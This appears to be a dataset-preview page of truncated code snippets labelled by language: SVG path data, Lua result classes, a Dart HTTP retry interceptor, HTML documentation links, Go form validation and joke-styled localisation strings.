c-17.7-1.9-31-5-37.8-8.9A20 20 0 0148.3 82Zm27.3 99.3a20 20 0 01-20-34.6c6.8-3.9 20.1-7 37.8-8.9a36.2 36.2 0 008.8 15.3c-10.5 14.4-19.8 24.3-26.6 28.2ZM128 220a20.1 20.1 0 01-20-20c0-7.8 3.9-20.9 11.2-37.1a35.8 35.8 0 0017.6 0c7.3 16.2 11.2 29.3 11.2 37.1a20.1 20.1 0 01-20 20Zm79.7-46a20 20 0 01-27.3 7.3c-6.8-3.9-16.1-... | Dart |
---@class Failure
---@field error any
local Failure = {}
Failure.__index = Failure
function Failure.new(error)
return setmetatable({ error = error }, Failure)
end
---@class Result
---@field value any
local Result = {}
Result.__index = Result
function Result.new(value)
return setmetatable({
value = va... | Lua |
a.dart';
import 'options.dart';
/// An interceptor that will try to send failed request again
class RetryInterceptor extends Interceptor {
final Dio dio;
final Logger logger;
final RetryOptions options;
RetryInterceptor({@required this.dio, this.logger, RetryOptions options})
: this.options = options ?... | Dart |
ecall.html">Recall</a>,
<a href="api/java/smile/validation/metric/Sensitivity.html">Sensitivity</a>,
<a href="api/java/smile/validation/metric/Specificity.html">Specificity</a>,
<a href="api/java/smile/validation/metric/MatthewsCorrelation.html">Matthews Correlation Coefficient</a>,
<a h... | HTML |
rPrivateData["err_msg"] = fmt.Sprintf("无效的表单类型「%s」", formFieldType)
break
}
formFieldRequired := getBoolValueByKey(formField, "required")
formFieldValue := formField[valueKeyMap[formFieldType]]
logger.GetLogger().Infof("formFieldType: %v; formFieldValue: %v", formFieldType, formFieldValue)
checkboxLi... | Go |
',
'Login to enable scrobbling.': 'wogin ;;w;; t-to enyabwe scwobbwing.',
'Login to LastFM': 'Wogin tuwu WastFM',
'Username': 'Usewnyame',
'Password': 'Passwowd (is for me?)',
'Login': 'Wogin',
'Authorization error!': 'Authowization erwow?!?! :<',
'Logged out!': 'W-Wogged out?!?1',
'Lyri... | Dart |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.